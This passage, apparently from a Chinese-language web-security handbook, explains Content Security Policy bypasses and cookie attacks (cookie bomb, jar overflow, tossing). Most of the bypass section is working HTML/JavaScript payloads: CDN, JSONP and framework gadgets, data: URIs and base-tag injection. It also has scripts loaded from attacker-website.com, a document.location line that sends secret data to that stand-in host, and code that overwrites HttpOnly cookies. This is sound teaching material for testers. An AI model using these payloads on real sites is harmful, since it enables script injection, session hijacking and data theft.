* **unsafe-inline** 允许使用内联资源，如内联 `<script>` 元素、`javascript:` URL、内联事件处理程序和内联 `<style>` 元素。
* **none** 指空集；即，没有URL匹配。
* **nonce-\<base64-value>** 使用加密nonce（仅使用一次的数字）为特定内联脚本创建允许列表。服务器每次传输策略时都必须生成唯一的nonce值。
* **\<hash-algorithm>-\<base64-value>** 脚本或样式的 `sha256`、`sha384` 或 `sha512` 哈希。该值由用于创建哈希的算法组成，后跟连字符和脚本或样式的base64编码哈希。

请参阅 [mdn web docs: Content-Security-Policy - CSP source values](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/Sources) 获取完整的指令源列表。

### 示例

考虑以下内容安全策略：

```http
Content-Security-Policy: default-src 'self'; script-src https://website.com;
```

以下图像将被**允许**，因为图像是从同一域加载的，即 `website.com`：

```html
<img src="assets/images/logo.png">
```

以下脚本将被**允许**，因为脚本是从同一域加载的，即 `website.com`：

```html
<script src="assets/scripts/main.js"></script>
```

以下脚本将**不被允许**，因为脚本试图从未定义的域加载，即 `attacker-website.com`：

```html
<script src=https://attacker-website.com/hook.js></script>
```

以下payload将在页面上**不被允许**，因为默认情况下阻止内联脚本：

```html
"/><script>alert(1337)</script>
```

以下图像将**不被允许**，因为图像从未定义的域加载，即 `attacker-website.com`：

```html
<img src="https://attacker-website.com/image.svg">
```

由于指令未在CSP中定义，`img-src` 默认设置为 `self` 并遵循 `default-src`。

## 绕过技术

您可以使用以下在线工具检查内容安全策略：

* <https://csp-evaluator.withgoogle.com/>
* <https://cspvalidator.org/>

### 允许的CDN

如果 `script-src` 或 `object-src` 允许公共CDN通过其域名，则可以从该CDN访问任何数据，包括易受攻击的库或框架。

{% hint style="info" %}
`unsafe-eval` 或 `unsafe-inline` 源的存在显著简化了易受攻击库或框架的利用，因为它允许直接调用易受攻击的组件。否则，需要找到调用易受攻击组件的方法。
{% endhint %}

例如，在下面的代码段中，CSP允许 `https://cdnjs.cloudflare.com` 并在 `script-src` 中设置 `unsafe-eval`。它允许使用 `AngularJS` 执行任意JavaScript代码。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js"></script>
</head>
<body>
    <div ng-app ng-csp>{{$on.constructor('alert(1)')()}}</div>
</body>
```

### 允许托管用户内容的域

如果 `script-src` 或 `object-src` 允许每个人都可以托管任意内容的域，则可能注入任意内容。

例如，在下面的代码段中，CSP在 `scripts-src` 中允许 `https://storage.googleapis.com`。这使得可以将payload上传到GCP Cloud Storage并实现任意JavaScript执行。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://storage.googleapis.com;">
</head>
<body>
    <script src=https://storage.googleapis.com/path/to/malicious/script.js></script>
</body>
```

### data: 方案

如果 `default-src`、`script-src`、`frame-src` 或 `object-src` 允许 `data:` 方案，则可以通过注入标签执行任意JavaScript代码。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src data:;">
</head>
<body>
    <script src=data:text/javascript,alert(1)></script>
    <iframe src='data:text/html,<script defer="true" src="data:text/javascript,alert(1)"></script>'></iframe>
    <iframe srcdoc='<script src="data:text/javascript,alert(1)"></script>'></iframe>
    <!-- 仅Firefox -->
    <object data="javascript:alert(1)">
</body>
```

### JSONP

JSONP API与 `callback=` 参数一起工作，该参数指定处理与其一起发送的数据的函数。如果JSONP中没有函数名称验证，则可以注入自定义回调函数并执行任意JavaScript代码。

JSONP API可用于绕过内容安全策略。例如，以下CSP允许从 `https://accounts.google.com` 加载脚本。由于 `https://accounts.google.com` 托管JSONP端点，它们可用于执行任意代码。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://accounts.google.com;">
</head>
<body>
    <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
</body>
```

利用不需要 `unsafe-inline`，因为JSONP响应处理程序脚本必须在CSP中允许以服务合法请求。

参考资料：

* [JSONBee](https://github.com/zigoo0/JSONBee) 包含不同网站上准备使用的JSONP端点。

#### 在script-src中允许microsoft.com by [@OctagonNetworks](https://twitter.com/octagonnetworks/status/1652793272161509377)

如果CSP在 `script-src` 中允许 `microsoft.com`，由于在WordPress中发现的CSP绕过，可能绕过CSP。

```html
<head>
    <meta http-equiv=Content-Security-Policy content="script-src https://www.microsoft.com;">
</head>
<body>
    <script src=https://www.microsoft.com/en-us/research/wp-json?_jsonp=alert></script>
</body>
```

参考资料：

* [通过滥用同源方法执行绕过WordPress的CSP](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)

### 缺失或错误配置的base-uri

如果在内容安全策略中省略 `base-uri` 或设置为 `*`，则可以通过注入 `base` 元素将相对URL重定向到攻击者控制的网站，请查看 [HTML Injection: base](/web-ying-yong-an-quan/html-zhu-ru/base)。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'nonce-secret';">
</head>
<body>
    <base href='https://attacker-website.com'>
    <script nonce=secret src=/script.js></script>
</body>
```

上面的代码段甚至不知道就使用了 `nonce` 属性值。

参考资料：

* [Write up: CSP bypass by base tag injection](https://ctftime.org/writeup/11452)

### 缺失的default-src、frame-src或object-src

如果内容安全策略不包含 `default-src`、`frame-src` 或 `object-src`，则可以将其他错误配置与标签注入结合使用以实现任意代码执行。

例如，可以使用 `iframe` 绕过 `script-src` 的限制，例如 `script-src 'none'`、`script-src 'self'`、`script-src 'nonce-*'` 或 `script-src 'hash-*'`。

```html
<!-- 由于不同来源，无法访问父窗口 -->
<iframe src="https://attacker-website.com/payload.html"></iframe>
<!-- 由于同源，可以访问父窗口 -->
<!-- 需要控制同一域中的文件 -->
<iframe src="/uploads/payload.html"></iframe>
```

更多利用其他CSP错误配置实现任意代码执行的示例：

```html
<!-- 要求object-src中的data:方案 -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<!-- 要求script-src中的data:方案 -->
<iframe srcdoc='<script src="data:text/javascript,alert(1)"></script>'></iframe>
<!-- 要求script-src中的unsafe-inline -->
<iframe srcdoc="<script>alert(1)</script>"></iframe>
```

### Nonce重用

如果 `nonce` 是静态的或由弱生成器生成，或者其值可以被猜测，则可以通过使用静态 `nonce` 或猜测正确的 `nonce` 值来绕过策略。

参考资料：

* [Write up: Bug Bounty Stories #1: electron应用中的CSP绕过！](https://securitygoat.medium.com/bug-bounty-stories-1-tale-of-csp-bypass-in-an-electron-app-f669f6ecefc9)

### 使用开放重定向绕过允许的路径

内容安全策略允许您在所需域中指定路径，例如 `https://website.com/foo/bar/` 或 `https://website.com/foo/bar/lib.js`。但是，如果允许列表中的域有开放重定向，则该开放重定向可用于成功加载允许资源中的资源，即使路径与策略中允许的路径不匹配。

例如，以下策略允许两个资源 `https://website.com` 和 `https://partially-trusted-website.com/foo/bar.js`。如果 `https://website.com` 有开放重定向，则可以从 `https://partially-trusted-website.com` 的其他路径加载脚本。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://website.com https://partially-trusted-website.com/foo/bar.js;">
</head>
<body>
    <script src="https://website.com?redirect=https://partially-trusted-website.com/path/to/malicious/script.js"></script>
</body>
```

### Script gadgets

内容安全策略中的脚本限制可以通过与允许来源的脚本交互来绕过。脚本可能无法与用户可控制的数据安全地工作，例如通过DOM clobbering。结果，它可能导致任意代码执行。

{% hint style="info" %}
Script gadgets可用于绕过CSP，即使使用基于nonce的策略，因为小工具通常被允许执行JavaScript。
{% endhint %}

例如，以下代码段根据标记中的参数调用全局范围内的函数：

```javascript
var array = document.getElementById('cmd').value.split(',');
window[array[0]].apply(this, array.slice(1));
```

因此，此代码段可用于使用以下 `input` 元素调用具有任意参数的 `window.*` 函数：

```html
<input id="cmd" value="alert,1">
```

另一个例子是下面的代码段，将 `RecaptchaClientUrl-` 元素的值传递给 `script` 元素的 `src` 属性：

```javascript
var t = document.querySelector("[id^='RecaptchaClientUrl-']").value
      , i = document.querySelector("[id^='RecaptchaClientSecret-']").value
      , n = document.createElement("script");
    n.id = "RecaptchaScript";
    n.src = t + i;
```

所以，可以使用以下payload执行任意JavaScript代码：

```html
<input id="RecaptchaClientUrl-" value="//attacker-website.com/path/to/script.js" />
```

请查看下面的文章以了解有关查找小工具的更多信息。

参考资料：

* [PortSwigger: 使用动态分析寻找基于nonce的CSP绕过](https://portswigger.net/research/hunting-nonce-based-csp-bypasses-with-dynamic-analysis)
* [PortSwigger: 通过DOM clobbering绕过CSP](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
* [PortSwigger: 通过DOM Clobbering劫持服务工作者](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)

### 上传自定义文件

#### 控制可执行文件和script-src 'self'

如果有一种方法可以控制具有任意扩展名的文件到同一域中的某个路径，则可能滥用设置 `script-src 'self'` 的CSP并执行任意JavaScript代码。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'self';">
</head>
<body>
    <!-- script.js将被加载和执行 -->
    <script src='/uploads/script.js'></script>
</body>
```

#### 控制可执行文件和script-src 'nonce'或'hash'

如果有一种方法可以控制具有任意扩展名的文件到同一域中的某个路径，则可能使用 `iframe` 元素绕过基于 `nonce` 和 `hash` 的 `script-src`（需要错误配置的 `frame-src`）。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret';">
    <!--
    或者
    <meta http-equiv="Content-Security-Policy" content="script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8=';">
    -->
</head>
<body>
    <iframe src="/uploads/script.html"></iframe>
</body>
```

其中 `/uploads/script.html` 包含payload：

```html
<script>alert(1)</script>
```

#### 控制文本文件和script-src 'self'

应用程序很可能限制上传具有潜在危险扩展名的文件，例如 `html` 或 `js`。

如果 `X-Content-Type-Options: nosniff` 不活动，则可以使用文本文件作为 `script` 元素的来源。在这种情况下，浏览器使用MIME类型嗅探来找出文件的实际内容类型。

例如，对于下面的策略，可以使用任何具有MIME类型 `text/plain`、`text/css`、`javasript/css` 等的文本文件来加载脚本。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'self';">
</head>
<body>
    <!-- file.css将作为JavaScript加载和执行 -->
    <script src='file.css'></script>
</body>
```

然而，即使 `X-Content-Type-Options: nosniff` 处于活动状态，也有可用于传递payload的内容类型，请查看：

* [PortSwigger Cross-site scripting (XSS) cheat sheet: Content types](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#content-types)

### unsafe-eval

如果 `script-src` 或 `default-src` 允许 `unsafe-eval`，则可能执行任意JavaScript。有多种方法实现代码执行：

1. 有一个 `eval` 表达式接收用户控制的数据。
2. 网站使用易受攻击的框架，如jQuery或Angular.js，可用于执行任何内联脚本。
3. 如果内容安全策略允许从公共CDN加载库和框架，则可以使用易受攻击的库和框架执行任意代码。

例如，以下CSP允许 `https://cdnjs.cloudflare.com` 并在 `script-src` 中设置 `unsafe-eval`。payload使用 `Angular JS` 执行任意JavaScript代码。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js"></script>
</head>
<body>
    <div ng-app ng-csp>{{$on.constructor('alert(1)')()}}</div>
</body>
```

### unsafe-inline

如果 `default-src`、`script-src`、`frame-src` 或 `object-src` 允许 `unsafe-inline`，则可以通过注入标签或使用事件处理程序执行任意JavaScript代码。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline';">
</head>
<body>
    <script>alert(1)</script>
    <img src onerror="alert(1)">
    <iframe src="javascript: alert(1)"></iframe>
</body>
```

### 策略注入

内容安全策略可以基于用户提供的变量动态生成。如果这些变量未正确验证，则可能注入指令并削弱策略。

参考资料：

* [Write up: CSP Injection - CTFZone 2019 Quals - Shop Task](https://blog.blackfan.ru/2019/12/ctfzone-2019-shop.html)
* [PortSwigger: 通过策略注入绕过CSP](https://portswigger.net/research/bypassing-csp-with-policy-injection)
* [Write up: How to Hack Apple ID](https://zemnmez.medium.com/how-to-hack-apple-id-f3cc9b483a41)

### 通配符 \*

在 `script-src`、`object-src` 或 `default-src` 中使用 `*` 允许从无限范围的来源加载内容。

例如，以下CSP允许直接从任意资源加载恶意脚本。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src *;">
</head>
<body>
    <script src=https://attacker-website.com/script.js></script>
</body>
```

## 框架和库

### AngularJS

如果页面使用AngularJS，或者CSP允许从远程资源加载，则可以使用AngularJS绕过CSP。

以下示例使用AngularJS事件访问 `window` 对象并逃逸沙盒。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://cdnjs.cloudflare.com;">
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.5/angular.js"></script>
</head>
<body ng-app ng-csp>
    <input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
</body>
```

在下一个示例中，`prototype.js` 用于访问 `window` 对象。换句话说，payload使用 `prototype.js` 从 `AngularJS` 访问 `window` 对象。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://ajax.googleapis.com;">
    <script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script>
    <script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>
</head>
<body class="ng-app" ng-csp>
    {{$on.curry.call().alert(1)}}
</body>
```

更多AngularJS payload可以在以下找到（部分payload需要用户交互或设置 `unsafe-eval`）：

* [PortSwigger Cross-site scripting (XSS) cheat sheet: AngularJS CSP bypasses](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-csp-bypasses)
* [H5SC Minichallenge 3: "Sh\*t, it's CSP!"](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3%3A-%22Sh%2At%2C-it%27s-CSP%21%22)
* [PortSwigger Cross-site scripting (XSS) cheat sheet: AngularJS sandbox escapes reflected](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected)
* [PortSwigger Cross-site scripting (XSS) cheat sheet: DOM based AngularJS sandbox escapes](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#dom-based-angularjs-sandbox-escapes)

以下文章解释了带有 `prototype.js` 的payload，并展示了如何找到类似的库来逃逸沙盒：

* [Huli's blog: Who pollutes your prototype? Find the libs on cdnjs in an automated way](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)

### Vue.js

如果设置了 `unsafe-eval`（这是运行时模板编译所必需的），则可以使用Vie.js绕过CSP。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://cdn.jsdelivr.net 'nonce-sometoken' 'unsafe-eval';">
    <script src="https://cdn.jsdelivr.net/npm/vue@2.7.14/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        {{_c.constructor`alert(1)`()}} 
    </div>
    <script nonce="sometoken">
        new Vue({
          el: '#app',
          data: {
            message: 'Hello Vue.js!'
          }
        })
    </script>
</body>
```

更多Vue.js payload可以在以下找到：

* [PortSwigger Cross-site scripting (XSS) cheat sheet: VueJS reflected](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)

### jQuery

不同版本的jQuery有可用于绕过CSP的漏洞。

#### 通过jQuery 2.x中的$.get绕过nonce和strict-dynamic

如果在 `$.get` 或 `$.post` 中有方法控制URL，则可以绕过设置 `nonce` 和 `strict-dynamic` 的CSP。

```html
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret' 'strict-dynamic'"> 
  <script nonce='secret' src="https://code.jquery.com/jquery-2.2.4.js" ></script>
</head> 
<body>
    <script nonce=secret> 
        $(function() { 
            $.get('data:text/javascript,"use strict"%0d%0aalert(1)');
        });
    </script>
</body>
```

这在jQuery 3.0.0中已修补，请查看 <https://github.com/jquery/jquery/issues/2432>

#### 通过jQuery模板绕过nonce

jQuery模板可用于绕过设置 `nonce` 和 `unsafe-eval`（这是运行时模板编译所必需的）的CSP。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret' 'unsafe-eval';">
    <script nonce=secret src="https://code.jquery.com/jquery-3.1.1.js"></script>
    <script nonce=secret src="http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.js"></script>
    <script nonce=secret type="text/javascript">
        jQuery(function(){
            $("#x").tmpl([{}])
        });
    </script>
</head>
<body>
    <div id="x">${alert.bind(window)(1)}</div>
</body>
```

#### 通过劫持handlebar模板绕过nonce

Handlebar模板可用于绕过设置 `nonce` 和 `unsafe-eval`（这是运行时模板编译所必需的）的CSP。

```html
<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret' 'unsafe-eval';">
    <script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
    <script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/handlebars.js/1.3.0/handlebars.js"></script>
</head>
<body>
    <script id="csp-template" type="text/x-handlebars-template">
        <script>alert("I am injected via XSS")<{{!}}/script>
    </script>
    <script id="csp-template" type="text/x-handlebars-template">
        <h1>I am legit</h1>
    </script>
    <div id="csp-placeholder"></div>
    <script nonce="secret">
        var cspSource = $("#csp-template").html();
        var cspTemplate = Handlebars.compile(cspSource);
        $("#csp-placeholder").html(cspTemplate());
    </script>
  </body>
</html>
```

## 数据泄露

### 覆盖document.location

覆盖 `document.location` 可用于将数据发送到外部服务器，即使CSP限制了可以加载的URL。

```javascript
document.location = `https://attacker-website.com/callback?q=${secretData}`;
```

### 使用link HTML元素

## 参考资料

* [ZN2018: CSP by Ivan Chalykin](https://example.com/zn2018-csp-bypass.pdf)
* [csplite.com: Bypass of CSP](https://csplite.com/csp320)
* [W3C: Content Security Policy Level 3](https://www.w3.org/TR/CSP3)
* [Collection of CSP bypasses by Sebastian Lekies (@slekies)](http://sebastian-lekies.de/csp/bypasses.php)


# Cookie安全

## Cookie属性

`Ultimate` cookie：

```http
Set-Cookie: __Host-SessionID=3h93...;Path=/;Secure;HttpOnly;SameSite=Strict
```

### Secure属性

`Secure` 属性指示cookie仅在请求使用 `https:` 方案时发送到服务器（localhost除外）。它只保护cookie对MitM攻击者的**机密性** - 没有完整性保护。因此，具有此属性的cookie仍然可以通过访问客户端的硬盘或从JavaScript修改。

不安全的站点 `http:` 不能设置具有 `Secure` 属性的cookie（自Chrome 52和Firefox 52起）。对于Firefox，当 `Secure` 属性由localhost设置时，`https:` 要求被忽略（自Firefox 75起）。

### HttpOnly属性

标有 `HttpOnly` 属性的cookie不能从JavaScript访问。`HttpOnly` 属性只保护cookie的**机密性**。`HttpOnly` cookie可以通过从JavaScript溢出cookie jar来替换。

### Path属性

`Path` 属性指示请求URL中必须存在的路径，以便浏览器发送Cookie头。它可用于防止来自同一主机上其他应用程序对cookie的未授权访问。

正斜杠 `/` 字符被解释为目录分隔符，子目录也被匹配。例如，对于 `Path=/docs`：

* 请求路径 `/docs`、`/docs/`、`/docs/Web/` 和 `/docs/Web/HTTP` 都将匹配。
* 请求路径 `/`、`/docsets`、`/fr/docs` 将不匹配。

#### Cookie范围与同源策略

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-47c8bfde7c63b41c55a5c560fb0d16503987ef8c%2Fscope-sop-cookie.png?alt=media)

#### 隔离共享主机上的两个不同应用程序

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-23421ec8398d5b5ffdf3a3ccc29f955a48f238fc%2Fisolation-sop-cookie.png?alt=media)

### Domain属性

`Domain` 属性定义将向其发送cookie的主机。

* 如果未指定 `Domain` 属性，则默认为当前文档位置的主机，不包括子域
  * IE将始终发送到子域，无论
* 如果指定了 `Domain` 属性，cookie将发送到该域及其**所有子域**

### Expires属性

`Expires` 属性指示cookie的最大生存时间作为HTTP日期时间戳。

* 如果未指定 `Expires` 属性，cookie生存时间等于会话生存时间
  * 由浏览器决定会话何时结束
* `Non-persistent` 会话cookie实际上可能被持久化以在浏览器重启后生存

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-99c5fb4dbd0e481905cbd32ed95e2c59ff8d42ea%2Fcookie-survive.png?alt=media)

参考资料：

* [MDN Web Docs - Document.cookie](https://developer.mozilla.org/en-US/docs/Web/API/document/cookie)

### Max-Age属性

`Max-Age` 属性指示cookie过期前的秒数。如果同时设置了 `Expires` 和 `Max-Age`，则 `Max-Age` 优先。

### SameSite

`SameSite` 属性防止浏览器将cookie与跨站点请求一起发送。`SameSite` 属性可以具有以下两个值之一（不区分大小写）：

* `Strict`，表示浏览器仅为同站点请求发送cookie，即来自设置cookie的同一站点的请求。如果请求来自与当前URL不同的URL，则不会发送具有 `SameSite=Strict` 属性的cookie。
* `Lax`，表示cookie不会在跨站点请求上发送，例如加载图像或框架的请求，但在用户使用 `safe` HTTP方法从外部站点导航到源站点时发送（例如，当跟随链接时）。如果未指定SameSite属性，这是默认行为。`safe` 方法：`GET, HEAD, OPTIONS` 和 `TRACE`。
* `None`，表示浏览器将cookie与跨站点和同站点请求一起发送。设置此值时还必须设置 `Secure` 属性，如 `SameSite=None; Secure`。

{% hint style="info" %}
在Chrome中，没有 `SameSite` 的cookie在最初2分钟内仍被视为 `None`，然后被视为 `Lax`，请查看 [Bypass SameSite Cookies Default to Lax and get CSRF](https://medium.com/@renwa/bypass-samesite-cookies-default-to-lax-and-get-csrf-343ba09b9f2b)
{% endhint %}

{% hint style="info" %}
请记住，同站点和跨站点请求不是一回事。SameSite cookie属性只关心跨站点请求。它不影响指向同一站点的跨源请求，请查看 [The great SameSite confusion](https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/)
{% endhint %}

参考资料：

* [MDN Web Docs - Set-cookie: Browser compatibility](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Browser_compatibility)

## Cookie前缀

Cookie前缀允许您传递有关cookie的元数据并通知客户端已设置某些属性。支持以下前缀：

* `__Secure-` 告诉浏览器需要 `Secure` 属性。
* `__Host-` 告诉浏览器需要 `Path=/` 和 `Secure` 属性，同时 `Domain` 属性不应存在（因此，不能发送到子域）。

参考资料：

* [MDN Web Docs - Set-cookie: Browser compatibility](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Browser_compatibility)

## Cookie列表排序

[RFC6265](https://tools.ietf.org/html/rfc6265#section-5.4) 标准定义了cookie的顺序：

```
2.  用户代理应按以下顺序对cookie列表进行排序：

    *   具有较长路径的cookie列在具有较短路径的cookie之前。

    *   在具有相等长度路径字段的cookie中，具有较早创建时间的cookie列在具有较晚创建时间的cookie之前。
```

因此，如果易受攻击的应用程序使用第一个cookie，您可以通过添加具有较长路径的 `Path` 属性来强制它使用您的cookie。

## 参考资料

* [MDN Web Docs - Set-cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie)


# Cookie炸弹

Cookie炸弹旨在为用户及其子域添加大量大的cookie。结果，用户将向服务器发送非常大的请求（由于大的cookie），服务器将拒绝这些请求。因此，这将导致这些域和子域的客户端DoS。

## 参考资料

* [HackTricks: Cookie Bomb](https://book.hacktricks.xyz/pentesting-web/hacking-with-cookies/cookie-bomb)
* [Report: DOM based cookie bomb](https://hackerone.com/reports/57356)
* [Slides: The Cookie Monster in Your Browsers - Cookie Bomb](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)


# Cookie溢出

浏览器对它们可以为页面存储的cookie数量有限制。这允许您通过添加新的cookie来取代cookie：

```javascript
// 设置许多cookie
for (let i = 0; i < 700; i++) {
    document.cookie = `cookie${i}=${i}; Secure`;
}

// 删除所有cookie
for (let i = 0; i < 700; i++) {
    document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```

{% hint style="info" %}
指向不同域的第三方cookie不会被覆盖
{% endhint %}

Cookie jar溢出可用于覆盖 `HttpOnly` cookie，因此您可以删除它们并使用任意值重置。

## 参考资料

* [HackTricks: Cookie Jar Overflow](https://book.hacktricks.xyz/pentesting-web/hacking-with-cookies/cookie-jar-overflow)
* [Overwriting HttpOnly cookies using cookie jar overflow](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)


# Cookie竞争

如果您控制子域或在子域中发现XSS，则可以设置将在域及其子域中使用的cookie。这可能导致以下攻击向量：

* 为受害者设置攻击者cookie并收集受害者在使用攻击者账户时将添加的敏感数据
* 如果cookie在登录后不更改，则固定cookie
* 如果cookie设置初始值，您可以设置已知值并滥用它。例如，cookie在Flask中设置会话的CSRF令牌，并且此值在登录后保持不变，因此，您可以使用已知值执行CSRF
* 执行[Cookie bomb](/web-ying-yong-an-quan/cookie-security/cookie-bomb)攻击

即使已经设置了cookie，cookie投掷也是可能的，因为当浏览器接收到两个具有相同名称且部分影响相同范围（域、子域和路径）的cookie时，浏览器将在对请求有效时发送两个cookie。如果应用程序只使用第一个cookie，您可以通过添加具有较长路径的 `Path` 属性来强制它使用您的cookie，请查看 [Cookie Security: Cookie-list sorting](/web-ying-yong-an-quan/cookie-security#cookie-list-sorting)。

如果应用程序不接受具有相同名称但不同值的cookie的请求，您可以尝试以下技巧：

* 用攻击者的cookie溢出合法cookie，请查看 [Cookie Jar Overflow](/web-ying-yong-an-quan/cookie-security/cookie-jar-overflow)
* 更改cookie名称：使用URL编码，使用不同的大小写，添加额外符号，如 `%00`、`%20`、`%09` 等。

## 参考资料

* [HackTricks: Cookie Tossing](https://book.hacktricks.xyz/pentesting-web/hacking-with-cookies/cookie-tossing)




---

[Next Page](/llms-full.txt/1)

